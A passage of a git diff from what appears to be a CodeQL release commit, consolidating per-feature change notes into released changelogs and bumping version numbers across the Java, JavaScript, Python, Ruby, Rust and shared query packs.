detect empty methods. diff --git a/java/ql/src/change-notes/2025-03-13-fix-toctou-false-positive.md b/java/ql/src/change-notes/2025-03-13-fix-toctou-false-positive.md deleted file mode 100644 index fb6fcfaaf1b..00000000000 --- a/java/ql/src/change-notes/2025-03-13-fix-toctou-false-positive.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Fixed a false positive in "Time-of-check time-of-use race condition" (`java/toctou-race-condition`) where a field of a non-static class was not considered always-locked if it was accessed in a constructor. diff --git a/java/ql/src/change-notes/released/1.4.0.md b/java/ql/src/change-notes/released/1.4.0.md new file mode 100644 index 00000000000..bc86e5de425 --- /dev/null +++ b/java/ql/src/change-notes/released/1.4.0.md @@ -0,0 +1,15 @@ +## 1.4.0 + +### New Queries + +* Added a new quality query, `java/empty-method`, to detect empty methods. +* The query `java/spring-boot-exposed-actuators` has been promoted from experimental to the main query pack. Its results will now appear by default, and the query itself will be removed from the [CodeQL Community Packs](https://github.com/GitHubSecurityLab/CodeQL-Community-Packs). This query was originally submitted as an experimental query [by @ggolawski](https://github.com/github/codeql/pull/2901). + +### Major Analysis Improvements + +* Updated the `java/unreleased-lock` query so that it no longer report alerts in cases where a boolean variable is used to track lock state. + +### Minor Analysis Improvements + +* Fixed a false positive in "Time-of-check time-of-use race condition" (`java/toctou-race-condition`) where a field of a non-static class was not considered always-locked if it was accessed in a constructor. +* Overrides of `BroadcastReceiver::onReceive` with no statements in their body are no longer considered unverified by the `java/improper-intent-verification` query. This will reduce false positives from `onReceive` methods which do not perform any actions. diff --git a/java/ql/src/codeql-pack.release.yml b/java/ql/src/codeql-pack.release.yml index e71b6d081f1..b8b2e97d508 100644 --- a/java/ql/src/codeql-pack.release.yml +++ b/java/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.3.1 +lastReleaseVersion: 1.4.0 diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index 883a60e59be..d7143d40041 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.3.2-dev +version: 1.4.0 groups: - java - queries diff --git a/javascript/ql/lib/CHANGELOG.md b/javascript/ql/lib/CHANGELOG.md index a3bb2a7e5d4..995666b2916 100644 --- a/javascript/ql/lib/CHANGELOG.md +++ b/javascript/ql/lib/CHANGELOG.md @@ -1,3 +1,35 @@ +## 2.6.0 + +### New Features + +* Extraction now supports regular expressions with the `v` flag, using the new operators: + - Intersection `&&` + - Subtraction `--` + - `\q` quoted string + +### Major Analysis Improvements + +* Added support for TypeScript 5.8. + +### Minor Analysis Improvements + +* Added support for additional `fs-extra` methods as sinks in path-injection queries. +* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function. +* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported. +* Added support for the `@sap/hana-client`, `@sap/hdbext` and `hdb` packages. +* Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`. +* Improved support for `got` package with `Options`, `paginate()` and `extend()` +* Added support for the `ApolloServer` class from `@apollo/server` and similar packages. In particular, the incoming data in a GraphQL resolver is now seen as a source of untrusted user input. +* Improved support for `superagent` to handle the case where the package is directly called as a function, or via the `.del()` or `.agent()` method. +* Added support for the `underscore.string` package. +* Added additional flow step for `unescape()` and `escape()`. +* Added support for the `@tanstack/vue-query` package. +* Added taint-steps for `unescape()`. +* Added support for the `@tanstack/angular-query-experimental` package. +* Improved support for the `@angular/common/http` package, detecting outgoing HTTP requests in more cases. +* Improved the modeling of the `markdown-table` package to ensure it handles nested arrays properly. +* Added support for the `react-relay` library. + ## 2.5.1 No user-facing changes. diff --git a/javascript/ql/lib/change-notes/2025-02-17-typescript-5-8.md b/javascript/ql/lib/change-notes/2025-02-17-typescript-5-8.md deleted file mode 100644 index 8ada5149291..00000000000 --- a/javascript/ql/lib/change-notes/2025-02-17-typescript-5-8.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: majorAnalysis ---- -* Added support for TypeScript 5.8. \ No newline at end of file diff --git a/javascript/ql/lib/change-notes/2025-02-25-react-relay.md b/javascript/ql/lib/change-notes/2025-02-25-react-relay.md deleted file mode 100644 index 822f429f62a..00000000000 --- a/javascript/ql/lib/change-notes/2025-02-25-react-relay.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Added support for the `react-relay` library. diff --git a/javascript/ql/lib/change-notes/2025-03-03-regex-v.md b/javascript/ql/lib/change-notes/2025-03-03-regex-v.md deleted file mode 100644 index 4c6948049eb..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-03-regex-v.md +++ /dev/null @@ -1,7 +0,0 @@ ---- -category: feature ---- -* Extraction now supports regular expressions with the `v` flag, using the new operators: - - Intersection `&&` - - Subtraction `--` - - `\q` quoted string diff --git a/javascript/ql/lib/change-notes/2025-03-10-js-refactor-markdown-table.md b/javascript/ql/lib/change-notes/2025-03-10-js-refactor-markdown-table.md deleted file mode 100644 index 8dd3c17404c..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-10-js-refactor-markdown-table.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Improved the modeling of the `markdown-table` package to ensure it handles nested arrays properly. diff --git a/javascript/ql/lib/change-notes/2025-03-11-tanstack-angular.md b/javascript/ql/lib/change-notes/2025-03-11-tanstack-angular.md deleted file mode 100644 index 5c4eb99eed7..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-11-tanstack-angular.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -category: minorAnalysis ---- -* Added support for the `@tanstack/angular-query-experimental` package. -* Improved support for the `@angular/common/http` package, detecting outgoing HTTP requests in more cases. diff --git a/javascript/ql/lib/change-notes/2025-03-13-tanstack-vue.md b/javascript/ql/lib/change-notes/2025-03-13-tanstack-vue.md deleted file mode 100644 index defc6c78bc2..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-13-tanstack-vue.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Added support for the `@tanstack/vue-query` package. diff --git a/javascript/ql/lib/change-notes/2025-03-13-unescape.md b/javascript/ql/lib/change-notes/2025-03-13-unescape.md deleted file mode 100644 index aa2d445118c..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-13-unescape.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Added taint-steps for `unescape()`. diff --git a/javascript/ql/lib/change-notes/2025-03-14-escape.md b/javascript/ql/lib/change-notes/2025-03-14-escape.md deleted file mode 100644 index 334fd6cc04d..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-14-escape.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Added additional flow step for `unescape()` and `escape()`. diff --git a/javascript/ql/lib/change-notes/2025-03-17-underscore-string.md b/javascript/ql/lib/change-notes/2025-03-17-underscore-string.md deleted file mode 100644 index c6bd442735a..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-17-underscore-string.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Added support for the `underscore.string` package. diff --git a/javascript/ql/lib/change-notes/2025-03-20-apollo-server.md b/javascript/ql/lib/change-notes/2025-03-20-apollo-server.md deleted file mode 100644 index 1976b91ea38..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-20-apollo-server.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Added support for the `ApolloServer` class from `@apollo/server` and similar packages. In particular, the incoming data in a GraphQL resolver is now seen as a source of untrusted user input. diff --git a/javascript/ql/lib/change-notes/2025-03-20-superagent.md b/javascript/ql/lib/change-notes/2025-03-20-superagent.md deleted file mode 100644 index 6516d49d66d..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-20-superagent.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Improved support for `superagent` to handle the case where the package is directly called as a function, or via the `.del()` or `.agent()` method. diff --git a/javascript/ql/lib/change-notes/2025-03-24-axios-additional-methods.md b/javascript/ql/lib/change-notes/2025-03-24-axios-additional-methods.md deleted file mode 100644 index 4b92a5a3e43..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-24-axios-additional-methods.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`. diff --git a/javascript/ql/lib/change-notes/2025-03-24-got-package.md b/javascript/ql/lib/change-notes/2025-03-24-got-package.md deleted file mode 100644 index 4830ce077cb..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-24-got-package.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Improved support for `got` package with `Options`, `paginate()` and `extend()` diff --git a/javascript/ql/lib/change-notes/2025-03-26-Hapi.md b/javascript/ql/lib/change-notes/2025-03-26-Hapi.md deleted file mode 100644 index d6d5795570f..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-26-Hapi.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function. diff --git a/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md b/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md deleted file mode 100644 index f15d525530a..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-26-async-fileRead.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported. diff --git a/javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md b/javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md deleted file mode 100644 index 170707e0e78..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-26-hana-db-client.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Added support for the `@sap/hana-client`, `@sap/hdbext` and `hdb` packages. diff --git a/javascript/ql/lib/change-notes/2025-03-28-fs-extra.md b/javascript/ql/lib/change-notes/2025-03-28-fs-extra.md deleted file mode 100644 index f30177905ae..00000000000 --- a/javascript/ql/lib/change-notes/2025-03-28-fs-extra.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* Added support for additional `fs-extra` methods as sinks in path-injection queries. diff --git a/javascript/ql/lib/change-notes/released/2.6.0.md b/javascript/ql/lib/change-notes/released/2.6.0.md new file mode 100644 index 00000000000..037621be6ad --- /dev/null +++ b/javascript/ql/lib/change-notes/released/2.6.0.md @@ -0,0 +1,31 @@ +## 2.6.0 + +### New Features + +* Extraction now supports regular expressions with the `v` flag, using the new operators: + - Intersection `&&` + - Subtraction `--` + - `\q` quoted string + +### Major Analysis Improvements + +* Added support for TypeScript 5.8. + +### Minor Analysis Improvements + +* Added support for additional `fs-extra` methods as sinks in path-injection queries. +* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function. +* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported. +* Added support for the `@sap/hana-client`, `@sap/hdbext` and `hdb` packages. +* Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`. +* Improved support for `got` package with `Options`, `paginate()` and `extend()` +* Added support for the `ApolloServer` class from `@apollo/server` and similar packages. In particular, the incoming data in a GraphQL resolver is now seen as a source of untrusted user input. +* Improved support for `superagent` to handle the case where the package is directly called as a function, or via the `.del()` or `.agent()` method. +* Added support for the `underscore.string` package. +* Added additional flow step for `unescape()` and `escape()`. +* Added support for the `@tanstack/vue-query` package. +* Added taint-steps for `unescape()`. +* Added support for the `@tanstack/angular-query-experimental` package. +* Improved support for the `@angular/common/http` package, detecting outgoing HTTP requests in more cases. +* Improved the modeling of the `markdown-table` package to ensure it handles nested arrays properly. +* Added support for the `react-relay` library. diff --git a/javascript/ql/lib/codeql-pack.release.yml b/javascript/ql/lib/codeql-pack.release.yml index a041decfd2d..29308d70232 100644 --- a/javascript/ql/lib/codeql-pack.release.yml +++ b/javascript/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.5.1 +lastReleaseVersion: 2.6.0 diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index 8bab6cb4434..9a38483496e 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.5.2-dev +version: 2.6.0 groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/CHANGELOG.md b/javascript/ql/src/CHANGELOG.md index fbd576e4eea..fef8edd5c80 100644 --- a/javascript/ql/src/CHANGELOG.md +++ b/javascript/ql/src/CHANGELOG.md @@ -1,3 +1,17 @@ +## 1.5.2 + +### Bug Fixes + +* Fixed a bug, first introduced in `2.20.3`, that would prevent `v-html` attributes in Vue files + from being flagged by the `js/xss` query. The original behaviour has been restored and the `v-html` + attribute is once again functioning as a sink for the `js/xss` query. +* Fixed a bug that would in rare cases cause some regexp-based checks + to be seen as generic taint sanitisers, even though the underlying regexp + is not restrictive enough. The regexps are now analysed more precisely, + and unrestrictive regexp checks will no longer block taint flow. +* Fixed a recently-introduced bug that caused `js/server-side-unvalidated-url-redirection` to ignore + valid hostname checks and report spurious alerts after such a check. The original behaviour has been restored. + ## 1.5.1 No user-facing changes. diff --git a/javascript/ql/src/change-notes/2025-02-21-test-suite.md b/javascript/ql/src/change-notes/2025-02-21-test-suite.md deleted file mode 100644 index 2fe2a288496..00000000000 --- a/javascript/ql/src/change-notes/2025-02-21-test-suite.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -category: fix ---- -* Fixed a recently-introduced bug that caused `js/server-side-unvalidated-url-redirection` to ignore - valid hostname checks and report spurious alerts after such a check. The original behaviour has been restored. diff --git a/javascript/ql/src/change-notes/2025-02-28-membership-regexp-test.md b/javascript/ql/src/change-notes/2025-02-28-membership-regexp-test.md deleted file mode 100644 index a1c46f0d795..00000000000 --- a/javascript/ql/src/change-notes/2025-02-28-membership-regexp-test.md +++ /dev/null @@ -1,7 +0,0 @@ ---- -category: fix ---- -* Fixed a bug that would in rare cases cause some regexp-based checks - to be seen as generic taint sanitisers, even though the underlying regexp - is not restrictive enough. The regexps are now analysed more precisely, - and unrestrictive regexp checks will no longer block taint flow. diff --git a/javascript/ql/src/change-notes/2025-03-11-vue-fix.md b/javascript/ql/src/change-notes/2025-03-11-vue-fix.md deleted file mode 100644 index b32e4f1fe56..00000000000 --- a/javascript/ql/src/change-notes/2025-03-11-vue-fix.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -category: fix ---- -* Fixed a bug, first introduced in `2.20.3`, that would prevent `v-html` attributes in Vue files - from being flagged by the `js/xss` query. The original behaviour has been restored and the `v-html` - attribute is once again functioning as a sink for the `js/xss` query. diff --git a/javascript/ql/src/change-notes/released/1.5.2.md b/javascript/ql/src/change-notes/released/1.5.2.md new file mode 100644 index 00000000000..6b0d7b03dec --- /dev/null +++ b/javascript/ql/src/change-notes/released/1.5.2.md @@ -0,0 +1,13 @@ +## 1.5.2 + +### Bug Fixes + +* Fixed a bug, first introduced in `2.20.3`, that would prevent `v-html` attributes in Vue files + from being flagged by the `js/xss` query. The original behaviour has been restored and the `v-html` + attribute is once again functioning as a sink for the `js/xss` query. +* Fixed a bug that would in rare cases cause some regexp-based checks + to be seen as generic taint sanitisers, even though the underlying regexp + is not restrictive enough. The regexps are now analysed more precisely, + and unrestrictive regexp checks will no longer block taint flow. +* Fixed a recently-introduced bug that caused `js/server-side-unvalidated-url-redirection` to ignore + valid hostname checks and report spurious alerts after such a check. The original behaviour has been restored. diff --git a/javascript/ql/src/codeql-pack.release.yml b/javascript/ql/src/codeql-pack.release.yml index c5775c46013..7eb901bae56 100644 --- a/javascript/ql/src/codeql-pack.release.yml +++ b/javascript/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.1 +lastReleaseVersion: 1.5.2 diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 5d855ccf968..7556097a440 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.5.2-dev +version: 1.5.2 groups: - javascript - queries diff --git a/misc/suite-helpers/CHANGELOG.md b/misc/suite-helpers/CHANGELOG.md index 9767d978f89..03ff9963412 100644 --- a/misc/suite-helpers/CHANGELOG.md +++ b/misc/suite-helpers/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.20 + +No user-facing changes. + ## 1.0.19 No user-facing changes. diff --git a/misc/suite-helpers/change-notes/released/1.0.20.md b/misc/suite-helpers/change-notes/released/1.0.20.md new file mode 100644 index 00000000000..5fc76269ab2 --- /dev/null +++ b/misc/suite-helpers/change-notes/released/1.0.20.md @@ -0,0 +1,3 @@ +## 1.0.20 + +No user-facing changes. diff --git a/misc/suite-helpers/codeql-pack.release.yml b/misc/suite-helpers/codeql-pack.release.yml index e15e0d267b0..7af2d1347ff 100644 --- a/misc/suite-helpers/codeql-pack.release.yml +++ b/misc/suite-helpers/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.19 +lastReleaseVersion: 1.0.20 diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index 053ee911ddf..303abd1b23f 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.20-dev +version: 1.0.20 groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/CHANGELOG.md b/python/ql/lib/CHANGELOG.md index 9750358f940..8ea99e00e05 100644 --- a/python/ql/lib/CHANGELOG.md +++ b/python/ql/lib/CHANGELOG.md @@ -1,3 +1,13 @@ +## 4.0.4 + +### Minor Analysis Improvements + +- Added the methods `getMinArguments` and `getMaxArguments` to the `Function` class. These return the minimum and maximum positional arguments that the given function accepts. + +### Bug Fixes + +- `MatchLiteralPattern`s such as `case None: ...` are now never pruned from the extracted source code. This fixes some situations where code was wrongly identified as unreachable. + ## 4.0.3 No user-facing changes. diff --git a/python/ql/lib/change-notes/2025-02-11-fix-match-literal-pruning.md b/python/ql/lib/change-notes/2025-02-11-fix-match-literal-pruning.md deleted file mode 100644 index 957f2a4ca99..00000000000 --- a/python/ql/lib/change-notes/2025-02-11-fix-match-literal-pruning.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -category: fix ---- - -- `MatchLiteralPattern`s such as `case None: ...` are now never pruned from the extracted source code. This fixes some situations where code was wrongly identified as unreachable. diff --git a/python/ql/lib/change-notes/2025-02-26-add-get-min-max-parameters-to-function-class.md b/python/ql/lib/change-notes/2025-02-26-add-get-min-max-parameters-to-function-class.md deleted file mode 100644 index f35b0981baf..00000000000 --- a/python/ql/lib/change-notes/2025-02-26-add-get-min-max-parameters-to-function-class.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -category: minorAnalysis ---- - -- Added the methods `getMinArguments` and `getMaxArguments` to the `Function` class. These return the minimum and maximum positional arguments that the given function accepts. diff --git a/python/ql/lib/change-notes/released/4.0.4.md b/python/ql/lib/change-notes/released/4.0.4.md new file mode 100644 index 00000000000..b72949b0829 --- /dev/null +++ b/python/ql/lib/change-notes/released/4.0.4.md @@ -0,0 +1,9 @@ +## 4.0.4 + +### Minor Analysis Improvements + +- Added the methods `getMinArguments` and `getMaxArguments` to the `Function` class. These return the minimum and maximum positional arguments that the given function accepts. + +### Bug Fixes + +- `MatchLiteralPattern`s such as `case None: ...` are now never pruned from the extracted source code. This fixes some situations where code was wrongly identified as unreachable. diff --git a/python/ql/lib/codeql-pack.release.yml b/python/ql/lib/codeql-pack.release.yml index f6bbc961bb1..b207094e2b3 100644 --- a/python/ql/lib/codeql-pack.release.yml +++ b/python/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.0.3 +lastReleaseVersion: 4.0.4 diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index dc06cd6582e..709aed32422 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.4-dev +version: 4.0.4 groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/CHANGELOG.md b/python/ql/src/CHANGELOG.md index e885400b9b3..33e8046917e 100644 --- a/python/ql/src/CHANGELOG.md +++ b/python/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 1.4.6 + +### Minor Analysis Improvements + +- The `py/special-method-wrong-signature` has been modernized and rewritten to no longer rely on outdated APIs. Moreover, the query no longer flags cases where a default value is never used, as these alerts were rarely useful. + +### Bug Fixes + +- The `py/unused-global-variable` now no longer flags variables that are only used in forward references (e.g. the `Foo` in `def bar(x: "Foo"): ...`). + ## 1.4.5 No user-facing changes. diff --git a/python/ql/src/change-notes/2025-03-04-fix-forward-annotation-fp-in-unused-global-var-query.md b/python/ql/src/change-notes/2025-03-04-fix-forward-annotation-fp-in-unused-global-var-query.md deleted file mode 100644 index 78142ea3fc6..00000000000 --- a/python/ql/src/change-notes/2025-03-04-fix-forward-annotation-fp-in-unused-global-var-query.md +++ /dev/null @@ -1,5 +0,0 @@ ---- -category: fix ---- - -- The `py/unused-global-variable` now no longer flags variables that are only used in forward references (e.g. the `Foo` in `def bar(x: "Foo"): ...`). diff --git a/python/ql/src/change-notes/2025-03-20-modernize-special-method-wrong-signature-query.md b/python/ql/src/change-notes/released/1.4.6.md similarity index 52% rename from python/ql/src/change-notes/2025-03-20-modernize-special-method-wrong-signature-query.md rename to python/ql/src/change-notes/released/1.4.6.md index e871b7510d9..56b1147206b 100644 --- a/python/ql/src/change-notes/2025-03-20-modernize-special-method-wrong-signature-query.md +++ b/python/ql/src/change-notes/released/1.4.6.md @@ -1,5 +1,9 @@ ---- -category: minorAnalysis ---- +## 1.4.6 + +### Minor Analysis Improvements - The `py/special-method-wrong-signature` has been modernized and rewritten to no longer rely on outdated APIs. Moreover, the query no longer flags cases where a default value is never used, as these alerts were rarely useful. + +### Bug Fixes + +- The `py/unused-global-variable` now no longer flags variables that are only used in forward references (e.g. the `Foo` in `def bar(x: "Foo"): ...`). diff --git a/python/ql/src/codeql-pack.release.yml b/python/ql/src/codeql-pack.release.yml index a74b6b08d86..3b00bbce928 100644 --- a/python/ql/src/codeql-pack.release.yml +++ b/python/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.4.5 +lastReleaseVersion: 1.4.6 diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 3ba383b3dd2..321638c2577 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.4.6-dev +version: 1.4.6 groups: - python - queries diff --git a/ruby/ql/lib/CHANGELOG.md b/ruby/ql/lib/CHANGELOG.md index db75b319367..5eabfa99ba6 100644 --- a/ruby/ql/lib/CHANGELOG.md +++ b/ruby/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 4.1.3 + +No user-facing changes. + ## 4.1.2 No user-facing changes. diff --git a/ruby/ql/lib/change-notes/released/4.1.3.md b/ruby/ql/lib/change-notes/released/4.1.3.md new file mode 100644 index 00000000000..789b2913c77 --- /dev/null +++ b/ruby/ql/lib/change-notes/released/4.1.3.md @@ -0,0 +1,3 @@ +## 4.1.3 + +No user-facing changes. diff --git a/ruby/ql/lib/codeql-pack.release.yml b/ruby/ql/lib/codeql-pack.release.yml index 2567ae3f9cc..cdfb1853324 100644 --- a/ruby/ql/lib/codeql-pack.release.yml +++ b/ruby/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.1.2 +lastReleaseVersion: 4.1.3 diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index 993fe1292f0..92f9db23dfd 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.3-dev +version: 4.1.3 groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/CHANGELOG.md b/ruby/ql/src/CHANGELOG.md index a07ad59185d..7877bdb6a79 100644 --- a/ruby/ql/src/CHANGELOG.md +++ b/ruby/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.1.15 + +No user-facing changes. + ## 1.1.14 No user-facing changes. diff --git a/ruby/ql/src/change-notes/released/1.1.15.md b/ruby/ql/src/change-notes/released/1.1.15.md new file mode 100644 index 00000000000..48d8c05d25f --- /dev/null +++ b/ruby/ql/src/change-notes/released/1.1.15.md @@ -0,0 +1,3 @@ +## 1.1.15 + +No user-facing changes. diff --git a/ruby/ql/src/codeql-pack.release.yml b/ruby/ql/src/codeql-pack.release.yml index 29ea4a8cc19..9ec2e68cbd3 100644 --- a/ruby/ql/src/codeql-pack.release.yml +++ b/ruby/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.14 +lastReleaseVersion: 1.1.15 diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index 64547a36c7e..b38e7eb7fda 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.1.15-dev +version: 1.1.15 groups: - ruby - queries diff --git a/rust/ql/lib/CHANGELOG.md b/rust/ql/lib/CHANGELOG.md index 2bfa7916b94..85c1fc61056 100644 --- a/rust/ql/lib/CHANGELOG.md +++ b/rust/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.5 + +No user-facing changes. + ## 0.1.4 No user-facing changes. diff --git a/rust/ql/lib/change-notes/released/0.1.5.md b/rust/ql/lib/change-notes/released/0.1.5.md new file mode 100644 index 00000000000..83cd9c5ff46 --- /dev/null +++ b/rust/ql/lib/change-notes/released/0.1.5.md @@ -0,0 +1,3 @@ +## 0.1.5 + +No user-facing changes. diff --git a/rust/ql/lib/codeql-pack.release.yml b/rust/ql/lib/codeql-pack.release.yml index e8ee3af8ef9..157cff8108d 100644 --- a/rust/ql/lib/codeql-pack.release.yml +++ b/rust/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.4 +lastReleaseVersion: 0.1.5 diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index 73785c49ded..8ca8fd5100c 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.5-dev +version: 0.1.5 groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/CHANGELOG.md b/rust/ql/src/CHANGELOG.md index 2bfa7916b94..85c1fc61056 100644 --- a/rust/ql/src/CHANGELOG.md +++ b/rust/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.5 + +No user-facing changes. + ## 0.1.4 No user-facing changes. diff --git a/rust/ql/src/change-notes/released/0.1.5.md b/rust/ql/src/change-notes/released/0.1.5.md new file mode 100644 index 00000000000..83cd9c5ff46 --- /dev/null +++ b/rust/ql/src/change-notes/released/0.1.5.md @@ -0,0 +1,3 @@ +## 0.1.5 + +No user-facing changes. diff --git a/rust/ql/src/codeql-pack.release.yml b/rust/ql/src/codeql-pack.release.yml index e8ee3af8ef9..157cff8108d 100644 --- a/rust/ql/src/codeql-pack.release.yml +++ b/rust/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.4 +lastReleaseVersion: 0.1.5 diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index a91a2647322..4158c204364 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.5-dev +version: 0.1.5 groups: - rust - queries diff --git a/shared/controlflow/CHANGELOG.md b/shared/controlflow/CHANGELOG.md index 234a79df339..06ae926fe11 100644 --- a/shared/controlflow/CHANGELOG.md +++ b/shared/controlflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.4 + +No user-facing changes. + ## 2.0.3 No user-facing changes. diff --git a/shared/controlflow/change-notes/released/2.0.4.md b/shared/controlflow/change-notes/released/2.0.4.md new file mode 100644 index 00000000000..8e002b6db64 --- /dev/null +++ b/shared/controlflow/change-notes/released/2.0.4.md @@ -0,0 +1,3 @@ +## 2.0.4 + +No user-facing changes. diff --git a/shared/controlflow/codeql-pack.release.yml b/shared/controlflow/codeql-pack.release.yml index fabf1e86596..0f306f8bd3b 100644 --- a/shared/controlflow/codeql-pack.release.yml +++ b/shared/controlflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.3 +lastReleaseVersion: 2.0.4 diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 54e7b4b4f24..8b0b8d6e05a 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.4-dev +version: 2.0.4 groups: shared library: true 